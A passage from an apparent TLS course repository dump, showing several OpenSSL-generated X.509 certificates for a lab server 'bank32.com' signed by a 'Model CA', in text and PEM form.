PVo2Dmuzqcu3zE0z54sjqnpBQ4PLkwf6ryj1m3liSx8eKUTeW6YEMwi3t8nkYybY 90 | Xaj2DZznwSKpw0RbX66of5ysM3uVK8TyVsmSubWRFgwyk9dwDnyPTvRVcGkV/F3F 91 | At7/KFUOzK/57h/hDZXXEY68TnzkAV711zCNndE0pjH86ftQvk+EvewXJNzg8svs 92 | CsK/p5SwPBbr7ooMOYKiPFG4ux05pF4frGdapQbVkgbCfYk3vKCjrb2Ec1ZKLIZY 93 | YjI7LHt3sgNjW4FrLwKvgonYgX7gOOq8SaoN0vou7v2gGAFIOC/dH1VpVfQKh0S3 94 | Wn7pAYpCRo5kenIxufvj2poNLhw4y885QJGxq41OZz0tAN9qtjvazk5NL/3u9Pl/ 95 | M37L//sQA/SSgO64o2akihbHuczZNUePhwquIm7UATV8Jqiq9NDWA2mYo/QzKO/O 96 | vX2F1u95Xv6bmSD8P3DHgnwxZYUarI53nR7Lvl41WN5Kq3zM1DDh45J+tnKwC8Bm 97 | r0a2OCA2sejGRZQTfOzCDgvry8JFbSFBhHdUvUZgiJs7mzwUx6zls/MUoq/hu8GA 98 | e2glq4zpGvIy2z4j7d/Tz/v2jqnhCfgAUcy1RhrD9ktaQbLHrtQUKswu1wEszSBZ 99 | 78NvFVa4z8KtnNvM16sMh0dzWnB7r1UgQFtI 100 | -----END CERTIFICATE----- 101 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/modelCA and cert_server/bank_cert.pem: -------------------------------------------------------------------------------- 1 | Certificate: 2 | Data: 3 | Version: 3 (0x2) 4 | Serial Number: 4096 (0x1000) 5 | Signature Algorithm: sha256WithRSAEncryption 6 | Issuer: C=US, ST=New York, L=Syracuse, O=Model CA, CN=modelCA.com 7 | Validity 8 | Not Before: Oct 8 01:18:20 2019 GMT 9 | Not After : Oct 7 01:18:20 2020 GMT 10 | Subject: C=US, ST=New York, O=Bank, CN=bank32.com 11 | Subject Public Key Info: 12 | Public Key Algorithm: rsaEncryption 13 | RSA Public-Key: (2048 bit) 14 | Modulus: 15 | 00:ba:f5:56:b2:dc:30:69:4f:79:72:a0:1a:5f:91: 16 | 8f:72:1b:25:f1:81:a7:32:01:b6:c5:c5:27:ac:f5: 17 | fa:bf:da:72:e6:b1:4a:17:96:4a:62:34:96:ad:91: 18 | 6c:c3:6b:b0:1a:af:cb:a2:21:43:4e:31:17:ac:2e: 19 | 3d:8b:1b:fd:48:51:2b:5e:6a:1f:ba:10:7a:88:c9: 20 | 64:b6:4f:93:70:d4:3e:44:d2:9f:07:af:81:aa:80: 21 | a0:a2:da:48:eb:ac:21:df:73:c7:0c:20:d1:36:c9: 22 | 93:95:03:20:f4:fb:0f:b6:6e:68:c2:30:30:e3:27: 23 | d8:7d:fe:75:15:af:c5:05:f3:2a:f3:f6:3b:b8:31: 24 | e3:7a:c7:d4:e7:7b:e2:fc:a5:20:5d:5c:4d:a6:74: 25 | f3:4c:20:1d:7d:d0:f1:d0:1d:9c:94:48:4f:dd:58: 26 | 65:0b:28:22:01:70:74:34:83:e9:5a:4a:a2:95:e9: 27 | e0:c5:de:5b:33:c0:22:ce:00:21:90:4a:97:a1:d8: 28 | 4d:fc:27:13:92:21:ef:84:fb:72:2e:c4:ff:9b:aa: 29 | 9a:28:55:4e:1d:93:cc:56:43:fa:14:92:0e:a3:48: 30 | f8:5e:1e:12:2b:a2:7e:65:4d:93:e8:48:ae:33:56: 31 | 39:bc:7d:0d:f9:ad:a2:f6:8e:80:43:1e:d0:67:21: 32 | 23:4f 33 | Exponent: 65537 (0x10001) 34 | X509v3 extensions: 35 | X509v3 Basic Constraints: 36 | CA:FALSE 37 | Netscape Comment: 38 | OpenSSL Generated Certificate 39 | X509v3 Subject Key Identifier: 40 | 6A:7C:47:D3:F3:0D:BB:57:96:AD:B0:6F:81:70:79:58:67:2D:CB:A8 41 | X509v3 Authority Key Identifier: 42 | keyid:D5:79:46:1C:99:D6:F4:BE:26:3E:15:70:FD:E5:B8:FC:64:90:14:E5 43 | 44 | Signature Algorithm: sha256WithRSAEncryption 45 | 5e:50:c1:b6:8c:e6:1f:3f:1d:7c:b7:2d:f3:20:e7:89:ba:05: 46 | 3e:6d:9d:b5:e2:e5:e5:d3:3a:88:df:a8:fb:85:5c:49:f0:75: 47 | 3b:86:4c:4a:22:aa:b2:4d:87:60:74:91:bf:d6:5a:4a:19:6f: 48 | be:5c:a6:8f:03:16:34:5a:eb:ee:48:20:c1:40:58:ce:d6:37: 49 | 0c:1c:ce:d5:8a:67:b1:f5:13:6f:77:26:4a:fa:67:0c:ba:45: 50 | 22:59:56:c7:3d:f4:f3:39:d0:64:f2:d2:5b:31:37:0b:19:c8: 51 | c1:e2:a2:b8:e5:1b:af:be:81:eb:b4:d8:f8:fa:54:92:f1:1c: 52 | c3:e0:2e:f8:c6:1e:a1:5e:3f:05:47:b8:39:45:bb:14:36:b7: 53 | d0:cf:a4:10:8e:24:74:eb:c7:83:e5:19:75:a1:22:c7:e1:06: 54 | 7d:3f:d6:0a:7c:16:f6:d0:fc:57:3f:3e:27:ed:16:9f:1f:9a: 55 | aa:51:4b:94:aa:33:20:48:38:f9:ae:ee:ac:02:b6:36:aa:5f: 56 | dc:fb:83:28:d6:79:28:e7:0f:4f:f4:de:8a:4d:d3:70:69:28: 57 | 51:58:00:6c:b3:f0:a0:8e:31:87:a2:5e:f1:36:c7:c1:2e:91: 58 | bf:d3:8c:5f:b4:b7:67:9b:15:26:57:b0:70:97:01:48:ca:8c: 59 | 73:13:c1:84:58:6e:06:ec:e3:34:3e:31:cd:95:e0:ed:da:94: 60 | 38:7b:aa:fd:64:0c:cf:eb:0b:a5:74:f9:ea:63:db:e1:6d:8c: 61 | 92:47:5f:d5:8c:2c:01:f5:7e:fc:be:bb:ab:d6:db:c5:70:8b: 62 | 12:64:0d:5b:d6:e5:aa:cf:11:ee:d7:04:1f:2a:dc:f1:05:47: 63 | 60:00:36:a1:7b:0d:f8:e9:ad:d2:a0:97:62:9e:fc:8d:aa:67: 64 | ab:00:11:c4:6a:a9:3d:08:2a:1c:f6:14:75:4d:dc:c9:52:ee: 65 | 0d:11:05:52:35:ee:12:51:cf:66:dc:f6:46:db:5d:3c:10:5f: 66 | fa:cd:91:bb:77:0d:e8:e7:3a:76:81:ac:b9:bb:1c:a6:b4:51: 67 | 08:4d:84:e7:2f:50:4a:0c:ed:81:72:96:c3:c5:36:e3:46:c5: 68 | 1e:1f:da:cf:0a:71:06:e0:7e:e2:d7:b5:d0:2a:17:46:18:1e: 69 | 3b:e6:36:0d:77:c1:4c:e3:b5:eb:72:c3:af:2d:3c:e2:e6:0f: 70 | d6:45:48:96:36:41:d0:6c:a2:0e:99:14:1e:bc:35:4f:2f:21: 71 | 0f:e3:53:40:07:ee:07:8a:b0:ef:49:54:28:33:69:7b:ff:af: 72 | 98:63:f1:e5:79:4f:7b:56:40:47:48:ff:97:f4:61:47:f0:c8: 73 | e5:17:4b:83:ba:ad:b9:39 74 | -----BEGIN CERTIFICATE----- 75 | MIIElzCCAn+gAwIBAgICEAAwDQYJKoZIhvcNAQELBQAwXDELMAkGA1UEBhMCVVMx 76 | ETAPBgNVBAgMCE5ldyBZb3JrMREwDwYDVQQHDAhTeXJhY3VzZTERMA8GA1UECgwI 77 | TW9kZWwgQ0ExFDASBgNVBAMMC21vZGVsQ0EuY29tMB4XDTE5MTAwODAxMTgyMFoX 78 | DTIwMTAwNzAxMTgyMFowRDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3Jr 79 | MQ0wCwYDVQQKDARCYW5rMRMwEQYDVQQDDApiYW5rMzIuY29tMIIBIjANBgkqhkiG 80 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuvVWstwwaU95cqAaX5GPchsl8YGnMgG2xcUn 81 | rPX6v9py5rFKF5ZKYjSWrZFsw2uwGq/LoiFDTjEXrC49ixv9SFErXmofuhB6iMlk 82 | tk+TcNQ+RNKfB6+BqoCgotpI66wh33PHDCDRNsmTlQMg9PsPtm5owjAw4yfYff51 83 | Fa/FBfMq8/Y7uDHjesfU53vi/KUgXVxNpnTzTCAdfdDx0B2clEhP3VhlCygiAXB0 84 | NIPpWkqilengxd5bM8AizgAhkEqXodhN/CcTkiHvhPtyLsT/m6qaKFVOHZPMVkP6 85 | FJIOo0j4Xh4SK6J+ZU2T6EiuM1Y5vH0N+a2i9o6AQx7QZyEjTwIDAQABo3sweTAJ 86 | BgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0 87 | aWZpY2F0ZTAdBgNVHQ4EFgQUanxH0/MNu1eWrbBvgXB5WGcty6gwHwYDVR0jBBgw 88 | FoAU1XlGHJnW9L4mPhVw/eW4/GSQFOUwDQYJKoZIhvcNAQELBQADggIBAF5QwbaM 89 | 5h8/HXy3LfMg54m6BT5tnbXi5eXTOojfqPuFXEnwdTuGTEoiqrJNh2B0kb/WWkoZ 90 | b75cpo8DFjRa6+5IIMFAWM7WNwwcztWKZ7H1E293Jkr6Zwy6RSJZVsc99PM50GTy 91 | 0lsxNwsZyMHiorjlG6++geu02Pj6VJLxHMPgLvjGHqFePwVHuDlFuxQ2t9DPpBCO 92 | JHTrx4PlGXWhIsfhBn0/1gp8FvbQ/Fc/PiftFp8fmqpRS5SqMyBIOPmu7qwCtjaq 93 | X9z7gyjWeSjnD0/03opN03BpKFFYAGyz8KCOMYeiXvE2x8Eukb/TjF+0t2ebFSZX 94 | sHCXAUjKjHMTwYRYbgbs4zQ+Mc2V4O3alDh7qv1kDM/rC6V0+epj2+FtjJJHX9WM 95 | LAH1fvy+u6vW28VwixJkDVvW5arPEe7XBB8q3PEFR2AANqF7DfjprdKgl2Ke/I2q 96 | Z6sAEcRqqT0IKhz2FHVN3MlS7g0RBVI17hJRz2bc9kbbXTwQX/rNkbt3DejnOnaB 97 | rLm7HKa0UQhNhOcvUEoM7YFylsPFNuNGxR4f2s8KcQbgfuLXtdAqF0YYHjvmNg13 98 | wUzjtetyw68tPOLmD9ZFSJY2QdBsog6ZFB68NU8vIQ/jU0AH7geKsO9JVCgzaXv/ 99 | r5hj8eV5T3tWQEdI/5f0YUfwyOUXS4O6rbk5 100 | -----END CERTIFICATE----- 101 | -------------------------------------------------------------------------------- /Semana 5/Aula 13/build-TLS_Client-Desktop-Debug/cert_server/bank32_cert.pem: -------------------------------------------------------------------------------- 1 | Certificate: 2 | Data: 3 | Version: 3 (0x2) 4 | Serial Number: 4096 (0x1000) 5 | Signature Algorithm: sha256WithRSAEncryption 6 | Issuer: C=US, ST=New York, L=Syracuse, O=Model CA, CN=modelCA.com 7 | Validity 8 | Not Before: Apr 8 04:59:53 2019 GMT 9 | Not After : Apr 7 04:59:53 2020 GMT 10 | Subject: C=US, ST=New York, O=Bank, CN=bank32.com 11 | Subject Public Key Info: 12 | Public Key Algorithm: rsaEncryption 13 | Public-Key: (2048 bit) 14 | Modulus: 15 | 00:e6:64:32:2a:ac:a0:ee:57:22:50:e8:70:c7:f7: 16 | 06:92:8e:ed:aa:b1:45:91:ad:bd:de:f2:bc:a6:78: 17 | 6e:c9:f2:38:60:a2:69:e8:a2:ec:79:f2:84:dc:54: 18 | 78:5c:ec:37:58:62:16:ae:b8:c1:a3:ea:b8:b1:b1: 19 | a5:3a:e8:99:bb:0a:fe:6f:20:97:23:6f:bf:ef:37: 20 | 65:04:b8:7b:92:f9:60:00:18:76:ad:77:01:b9:7b: 21 | c9:0a:2f:e1:e0:b7:fc:fa:45:20:85:20:86:c6:89: 22 | 0d:78:6b:cf:7c:7b:e9:2c:a3:90:c9:da:1a:ed:3f: 23 | e7:ff:36:08:6d:69:d3:ff:ee:55:9f:f5:78:18:6d: 24 | 81:22:da:7d:8b:36:f6:76:45:79:7a:18:da:ad:bb: 25 | 11:09:5a:45:af:82:f3:eb:d7:90:0d:0d:49:3e:6b: 26 | c8:b6:76:73:08:8c:06:9d:a9:06:fb:8c:83:c1:0a: 27 | cc:8d:30:d6:93:7d:87:70:7b:b8:4a:88:f9:1c:a8: 28 | c2:3e:f9:06:e1:ae:1b:34:f1:3e:c7:25:ab:b4:07: 29 | 49:b7:71:8b:54:40:84:56:1a:30:8d:b1:11:0d:68: 30 | 21:42:ae:e1:7e:7c:7b:94:c9:d1:43:91:f6:97:8b: 31 | cc:63:8c:ef:05:c6:8d:a9:e5:dd:39:55:60:2a:b0: 32 | 81:01 33 | Exponent: 65537 (0x10001) 34 | X509v3 extensions: 35 | X509v3 Basic Constraints: 36 | CA:FALSE 37 | Netscape Comment: 38 | OpenSSL Generated Certificate 39 | X509v3 Subject Key Identifier: 40 | 85:E2:E9:94:74:5A:7A:F6:46:8F:E6:B8:20:31:EA:2E:89:47:A1:FD 41 | X509v3 Authority Key Identifier: 42 | keyid:7B:21:44:BA:5C:5F:6F:98:78:51:43:C1:68:D8:05:EC:DB:33:98:DC 43 | 44 | Signature Algorithm: sha256WithRSAEncryption 45 | 35:d7:f2:4f:fc:3d:5a:36:0e:6b:b3:a9:cb:b7:cc:4d:33:e7: 46 | 8b:23:aa:7a:41:43:83:cb:93:07:fa:af:28:f5:9b:79:62:4b: 47 | 1f:1e:29:44:de:5b:a6:04:33:08:b7:b7:c9:e4:63:26:d8:5d: 48 | a8:f6:0d:9c:e7:c1:22:a9:c3:44:5b:5f:ae:a8:7f:9c:ac:33: 49 | 7b:95:2b:c4:f2:56:c9:92:b9:b5:91:16:0c:32:93:d7:70:0e: 50 | 7c:8f:4e:f4:55:70:69:15:fc:5d:c5:02:de:ff:28:55:0e:cc: 51 | af:f9:ee:1f:e1:0d:95:d7:11:8e:bc:4e:7c:e4:01:5e:f5:d7: 52 | 30:8d:9d:d1:34:a6:31:fc:e9:fb:50:be:4f:84:bd:ec:17:24: 53 | dc:e0:f2:cb:ec:0a:c2:bf:a7:94:b0:3c:16:eb:ee:8a:0c:39: 54 | 82:a2:3c:51:b8:bb:1d:39:a4:5e:1f:ac:67:5a:a5:06:d5:92: 55 | 06:c2:7d:89:37:bc:a0:a3:ad:bd:84:73:56:4a:2c:86:58:62: 56 | 32:3b:2c:7b:77:b2:03:63:5b:81:6b:2f:02:af:82:89:d8:81: 57 | 7e:e0:38:ea:bc:49:aa:0d:d2:fa:2e:ee:fd:a0:18:01:48:38: 58 | 2f:dd:1f:55:69:55:f4:0a:87:44:b7:5a:7e:e9:01:8a:42:46: 59 | 8e:64:7a:72:31:b9:fb:e3:da:9a:0d:2e:1c:38:cb:cf:39:40: 60 | 91:b1:ab:8d:4e:67:3d:2d:00:df:6a:b6:3b:da:ce:4e:4d:2f: 61 | fd:ee:f4:f9:7f:33:7e:cb:ff:fb:10:03:f4:92:80:ee:b8:a3: 62 | 66:a4:8a:16:c7:b9:cc:d9:35:47:8f:87:0a:ae:22:6e:d4:01: 63 | 35:7c:26:a8:aa:f4:d0:d6:03:69:98:a3:f4:33:28:ef:ce:bd: 64 | 7d:85:d6:ef:79:5e:fe:9b:99:20:fc:3f:70:c7:82:7c:31:65: 65 | 85:1a:ac:8e:77:9d:1e:cb:be:5e:35:58:de:4a:ab:7c:cc:d4: 66 | 30:e1:e3:92:7e:b6:72:b0:0b:c0:66:af:46:b6:38:20:36:b1: 67 | e8:c6:45:94:13:7c:ec:c2:0e:0b:eb:cb:c2:45:6d:21:41:84: 68 | 77:54:bd:46:60:88:9b:3b:9b:3c:14:c7:ac:e5:b3:f3:14:a2: 69 | af:e1:bb:c1:80:7b:68:25:ab:8c:e9:1a:f2:32:db:3e:23:ed: 70 | df:d3:cf:fb:f6:8e:a9:e1:09:f8:00:51:cc:b5:46:1a:c3:f6: 71 | 4b:5a:41:b2:c7:ae:d4:14:2a:cc:2e:d7:01:2c:cd:20:59:ef: 72 | c3:6f:15:56:b8:cf:c2:ad:9c:db:cc:d7:ab:0c:87:47:73:5a: 73 | 70:7b:af:55:20:40:5b:48 74 | -----BEGIN CERTIFICATE----- 75 | MIIElzCCAn+gAwIBAgICEAAwDQYJKoZIhvcNAQELBQAwXDELMAkGA1UEBhMCVVMx 76 | ETAPBgNVBAgMCE5ldyBZb3JrMREwDwYDVQQHDAhTeXJhY3VzZTERMA8GA1UECgwI 77 | TW9kZWwgQ0ExFDASBgNVBAMMC21vZGVsQ0EuY29tMB4XDTE5MDQwODA0NTk1M1oX 78 | DTIwMDQwNzA0NTk1M1owRDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3Jr 79 | MQ0wCwYDVQQKDARCYW5rMRMwEQYDVQQDDApiYW5rMzIuY29tMIIBIjANBgkqhkiG 80 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5mQyKqyg7lciUOhwx/cGko7tqrFFka293vK8 81 | pnhuyfI4YKJp6KLsefKE3FR4XOw3WGIWrrjBo+q4sbGlOuiZuwr+byCXI2+/7zdl 82 | BLh7kvlgABh2rXcBuXvJCi/h4Lf8+kUghSCGxokNeGvPfHvpLKOQydoa7T/n/zYI 83 | bWnT/+5Vn/V4GG2BItp9izb2dkV5ehjarbsRCVpFr4Lz69eQDQ1JPmvItnZzCIwG 84 | nakG+4yDwQrMjTDWk32HcHu4Soj5HKjCPvkG4a4bNPE+xyWrtAdJt3GLVECEVhow 85 | jbERDWghQq7hfnx7lMnRQ5H2l4vMY4zvBcaNqeXdOVVgKrCBAQIDAQABo3sweTAJ 86 | BgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0 87 | aWZpY2F0ZTAdBgNVHQ4EFgQUheLplHRaevZGj+a4IDHqLolHof0wHwYDVR0jBBgw 88 | FoAUeyFEulxfb5h4UUPBaNgF7NszmNwwDQYJKoZIhvcNAQELBQADggIBADXX8k/8 89 | PVo2Dmuzqcu3zE0z54sjqnpBQ4PLkwf6ryj1m3liSx8eKUTeW6YEMwi3t8nkYybY 90 | Xaj2DZznwSKpw0RbX66of5ysM3uVK8TyVsmSubWRFgwyk9dwDnyPTvRVcGkV/F3F 91 | At7/KFUOzK/57h/hDZXXEY68TnzkAV711zCNndE0pjH86ftQvk+EvewXJNzg8svs 92 | CsK/p5SwPBbr7ooMOYKiPFG4ux05pF4frGdapQbVkgbCfYk3vKCjrb2Ec1ZKLIZY 93 | YjI7LHt3sgNjW4FrLwKvgonYgX7gOOq8SaoN0vou7v2gGAFIOC/dH1VpVfQKh0S3 94 | Wn7pAYpCRo5kenIxufvj2poNLhw4y885QJGxq41OZz0tAN9qtjvazk5NL/3u9Pl/ 95 | M37L//sQA/SSgO64o2akihbHuczZNUePhwquIm7UATV8Jqiq9NDWA2mYo/QzKO/O 96 | vX2F1u95Xv6bmSD8P3DHgnwxZYUarI53nR7Lvl41WN5Kq3zM1DDh45J+tnKwC8Bm 97 | r0a2OCA2sejGRZQTfOzCDgvry8JFbSFBhHdUvUZgiJs7mzwUx6zls/MUoq/hu8GA 98 | e2glq4zpGvIy2z4j7d/Tz/v2jqnhCfgAUcy1RhrD9ktaQbLHrtQUKswu1wEszSBZ 99 | 78NvFVa4z8KtnNvM16sMh0dzWnB7r1UgQFtI 100 | -----END CERTIFICATE----- 101 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/modelCA and cert_server/demoCA/newcerts/1000.pem: -------------------------------------------------------------------------------- 1 | Certificate: 2 | Data: 3 | Version: 3 (0x2) 4 | Serial Number: 4096 (0x1000) 5 | Signature Algorithm: sha256WithRSAEncryption 6 | Issuer: C=US, ST=New York, L=Syracuse, O=Model CA, CN=modelCA.com 7 | Validity 8 | Not Before: Oct 8 01:18:20 2019 GMT 9 | Not After : Oct 7 01:18:20 2020 GMT 10 | Subject: C=US, ST=New York, O=Bank, CN=bank32.com 11 | Subject Public Key Info: 12 | Public Key Algorithm: rsaEncryption 13 | RSA Public-Key: (2048 bit) 14 | Modulus: 15 | 00:ba:f5:56:b2:dc:30:69:4f:79:72:a0:1a:5f:91: 16 | 8f:72:1b:25:f1:81:a7:32:01:b6:c5:c5:27:ac:f5: 17 | fa:bf:da:72:e6:b1:4a:17:96:4a:62:34:96:ad:91: 18 | 6c:c3:6b:b0:1a:af:cb:a2:21:43:4e:31:17:ac:2e: 19 | 3d:8b:1b:fd:48:51:2b:5e:6a:1f:ba:10:7a:88:c9: 20 | 64:b6:4f:93:70:d4:3e:44:d2:9f:07:af:81:aa:80: 21 | a0:a2:da:48:eb:ac:21:df:73:c7:0c:20:d1:36:c9: 22 | 93:95:03:20:f4:fb:0f:b6:6e:68:c2:30:30:e3:27: 23 | d8:7d:fe:75:15:af:c5:05:f3:2a:f3:f6:3b:b8:31: 24 | e3:7a:c7:d4:e7:7b:e2:fc:a5:20:5d:5c:4d:a6:74: 25 | f3:4c:20:1d:7d:d0:f1:d0:1d:9c:94:48:4f:dd:58: 26 | 65:0b:28:22:01:70:74:34:83:e9:5a:4a:a2:95:e9: 27 | e0:c5:de:5b:33:c0:22:ce:00:21:90:4a:97:a1:d8: 28 | 4d:fc:27:13:92:21:ef:84:fb:72:2e:c4:ff:9b:aa: 29 | 9a:28:55:4e:1d:93:cc:56:43:fa:14:92:0e:a3:48: 30 | f8:5e:1e:12:2b:a2:7e:65:4d:93:e8:48:ae:33:56: 31 | 39:bc:7d:0d:f9:ad:a2:f6:8e:80:43:1e:d0:67:21: 32 | 23:4f 33 | Exponent: 65537 (0x10001) 34 | X509v3 extensions: 35 | X509v3 Basic Constraints: 36 | CA:FALSE 37 | Netscape Comment: 38 | OpenSSL Generated Certificate 39 | X509v3 Subject Key Identifier: 40 | 6A:7C:47:D3:F3:0D:BB:57:96:AD:B0:6F:81:70:79:58:67:2D:CB:A8 41 | X509v3 Authority Key Identifier: 42 | keyid:D5:79:46:1C:99:D6:F4:BE:26:3E:15:70:FD:E5:B8:FC:64:90:14:E5 43 | 44 | Signature Algorithm: sha256WithRSAEncryption 45 | 5e:50:c1:b6:8c:e6:1f:3f:1d:7c:b7:2d:f3:20:e7:89:ba:05: 46 | 3e:6d:9d:b5:e2:e5:e5:d3:3a:88:df:a8:fb:85:5c:49:f0:75: 47 | 3b:86:4c:4a:22:aa:b2:4d:87:60:74:91:bf:d6:5a:4a:19:6f: 48 | be:5c:a6:8f:03:16:34:5a:eb:ee:48:20:c1:40:58:ce:d6:37: 49 | 0c:1c:ce:d5:8a:67:b1:f5:13:6f:77:26:4a:fa:67:0c:ba:45: 50 | 22:59:56:c7:3d:f4:f3:39:d0:64:f2:d2:5b:31:37:0b:19:c8: 51 | c1:e2:a2:b8:e5:1b:af:be:81:eb:b4:d8:f8:fa:54:92:f1:1c: 52 | c3:e0:2e:f8:c6:1e:a1:5e:3f:05:47:b8:39:45:bb:14:36:b7: 53 | d0:cf:a4:10:8e:24:74:eb:c7:83:e5:19:75:a1:22:c7:e1:06: 54 | 7d:3f:d6:0a:7c:16:f6:d0:fc:57:3f:3e:27:ed:16:9f:1f:9a: 55 | aa:51:4b:94:aa:33:20:48:38:f9:ae:ee:ac:02:b6:36:aa:5f: 56 | dc:fb:83:28:d6:79:28:e7:0f:4f:f4:de:8a:4d:d3:70:69:28: 57 | 51:58:00:6c:b3:f0:a0:8e:31:87:a2:5e:f1:36:c7:c1:2e:91: 58 | bf:d3:8c:5f:b4:b7:67:9b:15:26:57:b0:70:97:01:48:ca:8c: 59 | 73:13:c1:84:58:6e:06:ec:e3:34:3e:31:cd:95:e0:ed:da:94: 60 | 38:7b:aa:fd:64:0c:cf:eb:0b:a5:74:f9:ea:63:db:e1:6d:8c: 61 | 92:47:5f:d5:8c:2c:01:f5:7e:fc:be:bb:ab:d6:db:c5:70:8b: 62 | 12:64:0d:5b:d6:e5:aa:cf:11:ee:d7:04:1f:2a:dc:f1:05:47: 63 | 60:00:36:a1:7b:0d:f8:e9:ad:d2:a0:97:62:9e:fc:8d:aa:67: 64 | ab:00:11:c4:6a:a9:3d:08:2a:1c:f6:14:75:4d:dc:c9:52:ee: 65 | 0d:11:05:52:35:ee:12:51:cf:66:dc:f6:46:db:5d:3c:10:5f: 66 | fa:cd:91:bb:77:0d:e8:e7:3a:76:81:ac:b9:bb:1c:a6:b4:51: 67 | 08:4d:84:e7:2f:50:4a:0c:ed:81:72:96:c3:c5:36:e3:46:c5: 68 | 1e:1f:da:cf:0a:71:06:e0:7e:e2:d7:b5:d0:2a:17:46:18:1e: 69 | 3b:e6:36:0d:77:c1:4c:e3:b5:eb:72:c3:af:2d:3c:e2:e6:0f: 70 | d6:45:48:96:36:41:d0:6c:a2:0e:99:14:1e:bc:35:4f:2f:21: 71 | 0f:e3:53:40:07:ee:07:8a:b0:ef:49:54:28:33:69:7b:ff:af: 72 | 98:63:f1:e5:79:4f:7b:56:40:47:48:ff:97:f4:61:47:f0:c8: 73 | e5:17:4b:83:ba:ad:b9:39 74 | -----BEGIN CERTIFICATE----- 75 | MIIElzCCAn+gAwIBAgICEAAwDQYJKoZIhvcNAQELBQAwXDELMAkGA1UEBhMCVVMx 76 | ETAPBgNVBAgMCE5ldyBZb3JrMREwDwYDVQQHDAhTeXJhY3VzZTERMA8GA1UECgwI 77 | TW9kZWwgQ0ExFDASBgNVBAMMC21vZGVsQ0EuY29tMB4XDTE5MTAwODAxMTgyMFoX 78 | DTIwMTAwNzAxMTgyMFowRDELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE5ldyBZb3Jr 79 | MQ0wCwYDVQQKDARCYW5rMRMwEQYDVQQDDApiYW5rMzIuY29tMIIBIjANBgkqhkiG 80 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuvVWstwwaU95cqAaX5GPchsl8YGnMgG2xcUn 81 | rPX6v9py5rFKF5ZKYjSWrZFsw2uwGq/LoiFDTjEXrC49ixv9SFErXmofuhB6iMlk 82 | tk+TcNQ+RNKfB6+BqoCgotpI66wh33PHDCDRNsmTlQMg9PsPtm5owjAw4yfYff51 83 | Fa/FBfMq8/Y7uDHjesfU53vi/KUgXVxNpnTzTCAdfdDx0B2clEhP3VhlCygiAXB0 84 | NIPpWkqilengxd5bM8AizgAhkEqXodhN/CcTkiHvhPtyLsT/m6qaKFVOHZPMVkP6 85 | FJIOo0j4Xh4SK6J+ZU2T6EiuM1Y5vH0N+a2i9o6AQx7QZyEjTwIDAQABo3sweTAJ 86 | BgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0 87 | aWZpY2F0ZTAdBgNVHQ4EFgQUanxH0/MNu1eWrbBvgXB5WGcty6gwHwYDVR0jBBgw 88 | FoAU1XlGHJnW9L4mPhVw/eW4/GSQFOUwDQYJKoZIhvcNAQELBQADggIBAF5QwbaM 89 | 5h8/HXy3LfMg54m6BT5tnbXi5eXTOojfqPuFXEnwdTuGTEoiqrJNh2B0kb/WWkoZ 90 | b75cpo8DFjRa6+5IIMFAWM7WNwwcztWKZ7H1E293Jkr6Zwy6RSJZVsc99PM50GTy 91 | 0lsxNwsZyMHiorjlG6++geu02Pj6VJLxHMPgLvjGHqFePwVHuDlFuxQ2t9DPpBCO 92 | JHTrx4PlGXWhIsfhBn0/1gp8FvbQ/Fc/PiftFp8fmqpRS5SqMyBIOPmu7qwCtjaq 93 | X9z7gyjWeSjnD0/03opN03BpKFFYAGyz8KCOMYeiXvE2x8Eukb/TjF+0t2ebFSZX 94 | sHCXAUjKjHMTwYRYbgbs4zQ+Mc2V4O3alDh7qv1kDM/rC6V0+epj2+FtjJJHX9WM 95 | LAH1fvy+u6vW28VwixJkDVvW5arPEe7XBB8q3PEFR2AANqF7DfjprdKgl2Ke/I2q 96 | Z6sAEcRqqT0IKhz2FHVN3MlS7g0RBVI17hJRz2bc9kbbXTwQX/rNkbt3DejnOnaB 97 | rLm7HKa0UQhNhOcvUEoM7YFylsPFNuNGxR4f2s8KcQbgfuLXtdAqF0YYHjvmNg13 98 | wUzjtetyw68tPOLmD9ZFSJY2QdBsog6ZFB68NU8vIQ/jU0AH7geKsO9JVCgzaXv/ 99 | r5hj8eV5T3tWQEdI/5f0YUfwyOUXS4O6rbk5 100 | -----END CERTIFICATE----- 101 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Client-Desktop-Debug/cert_server/bank32_cert.pem: -------------------------------------------------------------------------------- 1 | Certificate: 2 | Data: 3 | Version: 3 (0x2) 4 | Serial Number: 4096 (0x1000) 5 | Signature Algorithm: sha256WithRSAEncryption 6 | Issuer: C=US, ST=New York, L=Syracuse, O=Model CA, CN=modelCA.com 7 | Validity 8 | Not Before: Apr 8 04:59:53 2019 GMT 9 | Not After : Apr 7 04:59:53 2020 GMT 10 | Subject: C=US, ST=New York, O=Bank, CN=bank32.com 11 | Subject Public Key Info: 12 | Public Key Algorithm: rsaEncryption 13 | Public-Key: (2048 bit) 14 | Modulus: 15 | 00:e6:64:32:2a:ac:a0:ee:57:22:50:e8:70:c7:f7: 16 | 06:92:8e:ed:aa:b1:45:91:ad:bd:de:f2:bc:a6:78: 17 | 6e:c9:f2:38:60:a2:69:e8:a2:ec:79:f2:84:dc:54: 18 | 78:5c:ec:37:58:62:16:ae:b8:c1:a3:ea:b8:b1:b1: 19 | a5:3a:e8:99:bb:0a:fe:6f:20:97:23:6f:bf:ef:37: 20 | 65:04:b8:7b:92:f9:60:00:18:76:ad:77:01:b9:7b: 21 | c9:0a:2f:e1:e0:b7:fc:fa:45:20:85:20:86:c6:89: 22 | 0d:78:6b:cf:7c:7b:e9:2c:a3:90:c9:da:1a:ed:3f: 23 | e7:ff:36:08:6d:69:d3:ff:ee:55:9f:f5:78:18:6d: 24 | 81:22:da:7d:8b:36:f6:76:45:79:7a:18:da:ad:bb: 25 | 